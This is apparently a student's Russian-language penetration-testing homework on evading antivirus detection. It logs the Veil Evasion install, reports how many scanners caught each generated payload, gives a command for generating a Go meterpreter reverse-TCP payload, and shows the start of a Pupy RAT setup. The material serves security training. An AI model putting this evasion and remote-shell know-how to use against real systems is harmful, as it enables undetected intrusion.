###### tags: `module5` `homework`
# Домашка №8. Защита от детектирования антивирусами
## Задание 1
Для защиты от детектирования антивирусами пентестеры часто используют специальные фреймворки для обфускации payload-ов или альтернативные meterpreter решения. Вам нужно научиться пользоваться этими решениями и оценить степень их детектируемости.
## Выполнение
### Veil. Evasion
Установка и первый запуск:
```
sudo apt install veil
veil
==========================================================================
Veil (Setup Script) | [Updated]: 2018-05-08
==========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
==========================================================================
os = kali
osversion = 2021.1
osmajversion = 2021
arch = x86_64
trueuser = kali
userprimarygroup = kali
userhomedir = /home/kali
rootdir = /usr/share/veil
veildir = /var/lib/veil
outputdir = /var/lib/veil/output
dependenciesdir = /var/lib/veil/setup-dependencies
winedir = /var/lib/veil/wine
winedrive = /var/lib/veil/wine/drive_c
gempath = Z:\var\lib\veil\wine\drive_c\Ruby187\bin\gem
[I] Kali Linux 2021.1 x86_64 detected...
[?] Are you sure you wish to install Veil?
Continue with installation? ([y]es/[s]ilent/[N]o): y
[*] Pulling down binary dependencies
[*] Empty folder... git cloning
Cloning into '/var/lib/veil/setup-dependencies'...
remote: Enumerating objects: 12, done.
remote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 12
Receiving objects: 100% (12/12), 207.29 MiB | 5.99 MiB/s, done.
Updating files: 100% (10/10), done.
[*] Installing Wine
[*] Adding i386 architecture to x86_64 system for Wine
[*] Updating APT
[*] Installing Wine 32-bit and 64-bit binaries (via APT)
```
После установки всех необходимых компонентов запускается фрэймфорк

генерируем нагрузку вариант 1

проверяем. результат 46 обнаружений

вариант 2

результат ==32 обнаружения==

вариант 3

результат 40 обнаружений

Не смотря на то, что полностью спрятать код нам не удалось, мы получили не плохой результат (вариант 2) когда большая часть антивирусных решений не смогла обнаружить нагрузку. ==32 против 35==
>Генерировать payload можно и из командной строки [color=green]
>veil -t Evasion -p go/meterpreter/rev_tcp.py --ip 10.0.0.3 --port 4444
Доставка payload может проводиться аналогично примеру с meterpreter выше.
## Задание 2
Pupy RAT:
Установка осуществляется по инструкции:
https://github.com/n1nj4sec/pupy/wiki/Installation
Базовое использование:
https://github.com/n1nj4sec/pupy/wiki/Basic-Usage
## Выполнение
:::danger
Ставиться только на сервер с gui.
:::
выполняем установку на kali согласно [инструкции]
(https://www.kali.org/docs/containers/installing-docker-on-kali/)
предложенный в инструкции вариант установки docker-ce не подходит.
```
apt-get update && apt-get install curl -y
curl -fsSL https://get.docker.com > docker_installer.sh
chmod +x ./docker_installer.sh && ./docker_installer.sh
```
использую вместо него docker.io. подробности [тут](https://stackoverflow.com/questions/45023363/what-is-docker-io-in-relation-to-docker-ce-and-docker-ee)
```
┌──(root💀kali)-[/home/kali]
└─# apt install docker.io
```
для начала модули, только меняем версию питона на 3
```
apt-get install git libssl1.0-dev libffi-dev python3-dev python3-pip build-essential swig tcpdump python3-virtualenv
```
установка прошла успешно
дальше ставим Pupy и пробуем создать рабочую среду
```
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
./create-workspace.py ./work
[+] Git repo at /home/kali/tools/pupy
Docker either is not installed or not configured.
Installation: https://docs.docker.com/install/
Missing python module: virtualenv
```
получил сообщение ==Missing python module: virtualenv==
как вариант решение использовать докер
https://github.com/n1nj4sec/pupy/issues/834
>You can create all the things using create-workspace.py
>Check output of
create-workspace.py --help
>
>Try something like:
>
>python3 create-workspace.py -E docker -P /some/folder/as/workspace
создаем рабочую среду
```
┌──(root💀kali)-[/home/kali/tools/pupy]
└─# ./create-workspace.py -E docker ./work
```

